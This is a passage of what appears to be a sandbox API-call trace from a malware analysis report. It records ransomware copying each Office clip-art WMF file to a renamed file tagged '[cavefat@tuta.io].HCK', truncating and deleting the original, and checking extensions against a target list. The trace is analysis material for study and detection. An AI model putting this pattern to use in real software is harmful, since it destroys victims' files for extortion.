lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.691] WriteFile (in: hFile=0x394, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.692] SetEndOfFile (hFile=0x394) returned 1 [0154.692] CloseHandle (hObject=0x394) returned 1 [0154.692] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.693] SetEndOfFile (hFile=0x364) returned 1 [0154.693] CloseHandle (hObject=0x364) returned 1 [0154.693] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0154.693] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf")) returned 1 [0154.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0154.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0154.694] lstrlenW (lpString=".doc") returned 4 [0154.694] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.694] lstrlenW (lpString=".docx") returned 5 [0154.694] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.694] lstrlenW (lpString=".pdf") returned 4 [0154.694] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.694] lstrlenW (lpString=".xls") returned 4 [0154.694] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.694] lstrlenW (lpString=".xlsx") returned 5 [0154.694] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.694] lstrlenW (lpString=".ppt") returned 4 [0154.694] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0154.694] lstrlenW (lpString=".zip") returned 4 [0154.694] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.694] lstrlenW (lpString=".rar") returned 4 [0154.694] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.694] lstrlenW (lpString=".bz2") returned 4 [0154.694] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.694] lstrlenW (lpString=".7z") returned 3 [0154.694] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0154.694] lstrlenW (lpString=".dbf") returned 4 [0154.694] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0154.694] lstrlenW (lpString=".1cd") returned 4 [0154.694] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0154.694] lstrlenW (lpString=".jpg") returned 4 [0154.694] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0154.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0154.694] lstrlenW (lpString=".doc") returned 4 [0154.694] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.694] lstrlenW (lpString=".docx") returned 5 [0154.694] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.695] lstrlenW (lpString=".pdf") returned 4 [0154.695] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.695] lstrlenW (lpString=".xls") returned 4 [0154.695] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.695] lstrlenW (lpString=".xlsx") returned 5 [0154.695] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.695] lstrlenW (lpString=".ppt") returned 4 [0154.695] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0154.695] lstrlenW (lpString=".zip") returned 4 [0154.695] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.695] lstrlenW (lpString=".rar") returned 4 [0154.695] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.695] lstrlenW (lpString=".bz2") returned 4 [0154.695] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.695] lstrlenW (lpString=".7z") returned 3 [0154.695] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0154.695] lstrlenW (lpString=".dbf") returned 4 [0154.695] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0154.695] lstrlenW (lpString=".1cd") returned 4 [0154.695] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0154.695] lstrlenW (lpString=".jpg") returned 4 [0154.695] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.695] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0154.695] lstrlenW (lpString="AN01545_.WMF") returned 12 [0154.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0154.695] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=7372) returned 1 [0154.695] CloseHandle (hObject=0x364) returned 1 [0154.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf")) returned 0x220 [0154.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0154.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0154.699] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.699] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0154.699] GetLastError () returned 0x0 [0154.699] ReadFile (in: hFile=0x364, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x1ccc, lpOverlapped=0x0) returned 1 [0154.701] WriteFile (in: hFile=0x394, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x1cd0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x1cd0, lpOverlapped=0x0) returned 1 [0154.702] ReadFile (in: hFile=0x364, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.702] WriteFile (in: hFile=0x394, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.702] SetEndOfFile (hFile=0x394) returned 1 [0154.702] CloseHandle (hObject=0x394) returned 1 [0154.707] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.707] SetEndOfFile (hFile=0x364) returned 1 [0154.707] CloseHandle (hObject=0x364) returned 1 [0154.708] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0154.708] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf")) returned 1 [0154.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0154.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0154.708] lstrlenW (lpString=".doc") returned 4 [0154.708] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.708] lstrlenW (lpString=".docx") returned 5 [0154.708] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.708] lstrlenW (lpString=".pdf") returned 4 [0154.708] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.708] lstrlenW (lpString=".xls") returned 4 [0154.708] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.708] lstrlenW (lpString=".xlsx") returned 5 [0154.708] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.708] lstrlenW (lpString=".ppt") returned 4 [0154.708] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0154.708] lstrlenW (lpString=".zip") returned 4 [0154.708] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.708] lstrlenW (lpString=".rar") returned 4 [0154.708] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.708] lstrlenW (lpString=".bz2") returned 4 [0154.708] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.708] lstrlenW (lpString=".7z") returned 3 [0154.708] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0154.708] lstrlenW (lpString=".dbf") returned 4 [0154.709] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0154.709] lstrlenW (lpString=".1cd") returned 4 [0154.709] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0154.709] lstrlenW (lpString=".jpg") returned 4 [0154.709] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0154.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0154.709] lstrlenW (lpString=".doc") returned 4 [0154.709] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.709] lstrlenW (lpString=".docx") returned 5 [0154.709] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.709] lstrlenW (lpString=".pdf") returned 4 [0154.709] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.709] lstrlenW (lpString=".xls") returned 4 [0154.709] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.709] lstrlenW (lpString=".xlsx") returned 5 [0154.709] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.709] lstrlenW (lpString=".ppt") returned 4 [0154.709] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0154.709] lstrlenW (lpString=".zip") returned 4 [0154.709] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.709] lstrlenW (lpString=".rar") returned 4 [0154.709] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.709] lstrlenW (lpString=".bz2") returned 4 [0154.709] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.709] lstrlenW (lpString=".7z") returned 3 [0154.709] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0154.709] lstrlenW (lpString=".dbf") returned 4 [0154.709] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0154.709] lstrlenW (lpString=".1cd") returned 4 [0154.709] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0154.709] lstrlenW (lpString=".jpg") returned 4 [0154.709] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.709] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0154.709] lstrlenW (lpString="AN02122_.WMF") returned 12 [0154.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0154.711] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=7540) returned 1 [0154.711] CloseHandle (hObject=0x394) returned 1 [0154.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf")) returned 0x220 [0154.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0154.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0154.711] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.711] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0154.711] GetLastError () returned 0x0 [0154.711] ReadFile (in: hFile=0x394, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x1d74, lpOverlapped=0x0) returned 1 [0154.713] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x1d80, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x1d80, lpOverlapped=0x0) returned 1 [0154.714] ReadFile (in: hFile=0x394, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.714] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.714] SetEndOfFile (hFile=0x2f0) returned 1 [0154.714] CloseHandle (hObject=0x2f0) returned 1 [0154.715] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.715] SetEndOfFile (hFile=0x394) returned 1 [0154.718] CloseHandle (hObject=0x394) returned 1 [0154.718] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0154.718] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf")) returned 1 [0154.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0154.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0154.718] lstrlenW (lpString=".doc") returned 4 [0154.718] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.718] lstrlenW (lpString=".docx") returned 5 [0154.718] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.718] lstrlenW (lpString=".pdf") returned 4 [0154.718] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.718] lstrlenW (lpString=".xls") returned 4 [0154.718] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.718] lstrlenW (lpString=".xlsx") returned 5 [0154.718] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.718] lstrlenW (lpString=".ppt") returned 4 [0154.718] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0154.718] lstrlenW (lpString=".zip") returned 4 [0154.718] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.719] lstrlenW (lpString=".rar") returned 4 [0154.719] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.719] lstrlenW (lpString=".bz2") returned 4 [0154.719] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.719] lstrlenW (lpString=".7z") returned 3 [0154.719] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0154.719] lstrlenW (lpString=".dbf") returned 4 [0154.719] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0154.719] lstrlenW (lpString=".1cd") returned 4 [0154.719] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0154.719] lstrlenW (lpString=".jpg") returned 4 [0154.719] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0154.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0154.719] lstrlenW (lpString=".doc") returned 4 [0154.719] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.719] lstrlenW (lpString=".docx") returned 5 [0154.719] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.719] lstrlenW (lpString=".pdf") returned 4 [0154.719] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.719] lstrlenW (lpString=".xls") returned 4 [0154.719] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.719] lstrlenW (lpString=".xlsx") returned 5 [0154.719] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.719] lstrlenW (lpString=".ppt") returned 4 [0154.719] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0154.719] lstrlenW (lpString=".zip") returned 4 [0154.719] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.719] lstrlenW (lpString=".rar") returned 4 [0154.719] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.719] lstrlenW (lpString=".bz2") returned 4 [0154.719] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.719] lstrlenW (lpString=".7z") returned 3 [0154.719] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0154.719] lstrlenW (lpString=".dbf") returned 4 [0154.719] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0154.719] lstrlenW (lpString=".1cd") returned 4 [0154.719] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0154.719] lstrlenW (lpString=".jpg") returned 4 [0154.719] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.720] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0154.720] lstrlenW (lpString="AN02559_.WMF") returned 12 [0154.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0154.722] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=6632) returned 1 [0154.722] CloseHandle (hObject=0x364) returned 1 [0154.722] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf")) returned 0x220 [0154.722] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0154.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0154.722] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.722] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0154.722] GetLastError () returned 0x0 [0154.722] ReadFile (in: hFile=0x364, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x19e8, lpOverlapped=0x0) returned 1 [0154.724] WriteFile (in: hFile=0x394, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x19f0, lpOverlapped=0x0) returned 1 [0154.725] ReadFile (in: hFile=0x364, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.725] WriteFile (in: hFile=0x394, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.725] SetEndOfFile (hFile=0x394) returned 1 [0154.725] CloseHandle (hObject=0x394) returned 1 [0154.726] SetFilePointerEx (in: 